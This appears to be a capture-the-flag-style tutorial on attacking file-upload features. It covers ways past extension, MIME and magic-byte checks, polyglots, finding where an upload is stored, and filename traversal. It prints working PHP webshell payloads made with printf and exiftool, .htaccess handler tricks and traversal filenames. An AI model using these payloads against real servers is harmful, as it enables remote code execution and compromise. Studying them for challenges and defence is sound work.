Skip to content
All posts
webrevised July 3, 20266 min read

File upload: getting the wrong bytes into the right place

Beating extension checks, MIME checks and magic-byte checks, why a polyglot file is valid twice, and the three things that have to be true before an uploaded file becomes code execution.

An upload feature is a request to write attacker-controlled bytes to the server's filesystem. Whether that becomes code execution depends on three separate conditions, and challenges are built by removing one defence at a time:

  1. The content check lets your bytes through.
  2. The location is somewhere the web server or the application will read.
  3. Something executes or interprets the file - a PHP handler, an include, an image library, a template loader.

All three matter. A perfect webshell in a directory served with Content-Type: text/plain is a text file. Work out which of the three the challenge is testing before attacking the wrong one.

Beating the content check

Extension blocklists

CheckBypass
Blocks .php.php3, .php4, .php5, .php7, .phtml, .phar, .inc, .pht
Blocks a lowercase list.PhP - the filesystem is case-insensitive on some hosts and the handler often is too
Takes the extension after the last dotshell.php.jpg fails, but shell.jpg.php passes a check on the *first* dot
Strips the bad extension onceshell.pphphp becomes shell.php after one removal
Trailing charactersshell.php., shell.php%20, shell.php/, shell.php%00.jpg on old stacks
Apache config not consideredUpload a .htaccess with AddType application/x-httpd-php .jpg and then upload a .jpg
IISshell.aspx;.jpg - the semicolon truncates for the handler mapping

An allowlist is much stronger than a blocklist, and when you meet one the extension is no longer the way in. Move to the location and interpretation conditions instead.

Content-Type checks

The Content-Type in the multipart part is supplied by the client. Change it to image/jpeg and any check based on it passes. That this ever counted as a defence is the point: it is a value you send.

Magic-byte and image-library checks

The stronger check reads the first bytes, or calls getimagesize(), or re-opens the file with an image library. The answer is a file that genuinely *is* an image and also contains your payload.

# The crudest version: a real GIF header, then code.
printf 'GIF89a;\n<?php system($_GET["c"]); ?>' > shell.php

# Better: put the payload in a metadata field of a genuine image, so the file
# survives getimagesize and most re-encodings.
exiftool -Comment='<?php system($_GET["c"]); ?>' real.jpg -o shell.php
GIF89a; is eight valid bytes and everything after is ignored by an image parser but seen by the PHP interpreter. The exiftool version survives more validation because the rest of the file is a real JPEG.

Polyglots

A polyglot is a file that is simultaneously valid in two formats, because each format ignores what the other needs. A JPEG whose comment segment contains a PHP block; a PDF that is also a valid ZIP; a GIF that is also valid JavaScript. They matter here because the validator and the interpreter parse the same bytes with different rules, and a polyglot is the file that satisfies both.

Finding where it landed

Half of these challenges end here, because the upload works and you cannot find the file.

  • Read the response. Many upload handlers return the stored path or an id, sometimes only in a JSON field the UI never shows.
  • Look at how existing files are served - an avatar's URL tells you the directory and the naming scheme.
  • The name may be hashed. If it is md5(original + timestamp) or md5(content), you can compute it. A timestamp source is usually the response Date header.
  • Brute-force the directory with a wordlist of upload paths: /uploads, /files, /static/uploads, /media, /tmp, /img/avatars. See web recon.
  • If the app has path traversal, use it to find the file and, better, to include it - which removes the need for the location to be web-served at all.

Traversal in the filename

If the filename is used to build the destination path, ../../../var/www/html/shell.php writes wherever you like - which solves the location problem outright. Test it: it is one upload, and it also tells you the storage root from the error if it fails.

When it is not PHP

Most modern stacks will not execute an uploaded file no matter where it lands. The upload is still useful, through a different interpreter:

TargetUploadWhy it fires
Java web appA .jsp into a served directory, or a WARSame as PHP, different handler.
Any app with a template loaderA template file into the template directoryRenders as SSTI with no injection needed.
Python appA .pyc or a module into an import pathImported on the next request.
An extractorA zip with ../ in an entry name (Zip Slip)Writes outside the extraction directory - see archive attacks.
An image processorA crafted SVGSVG is XML, so XXE and SSRF both apply.
ImageMagickA crafted MVG or a mislabelled fileHistorically a direct command-execution surface; still worth one attempt.
A PDF or thumbnail pipelineA file that steers ghostscript or LibreOfficeThe converter is the vulnerability, not the web app.
A static file serverAnything with a .html extensionNot RCE, but it is stored XSS on the site's own origin.

Two more things worth checking

  • The size and count limits. An upload with no limit is a denial of service, and a zip bomb is the compact version - relevant when a challenge is graded on availability.
  • What happens on overwrite. If you can choose the filename and the destination already contains something - a config file, another user's document - overwriting it is its own bug, and frequently a more direct one than executing anything.

Working an upload feature, in order

  1. Upload something legitimate first and observe everything: the response, the stored URL, the naming scheme, the served Content-Type.
  2. Establish which check is present by testing one variable at a time - extension, Content-Type, magic bytes.
  3. Try traversal in the filename before anything clever. It solves location and content in one request.
  4. Match the payload to what will actually interpret it. Do not upload a PHP shell to a Node application.
  5. If nothing executes, aim for stored XSS on the origin instead - it is usually the intended path on a modern stack.
  6. If there is an archive extractor anywhere in the flow, that is the real target and the upload is just the delivery.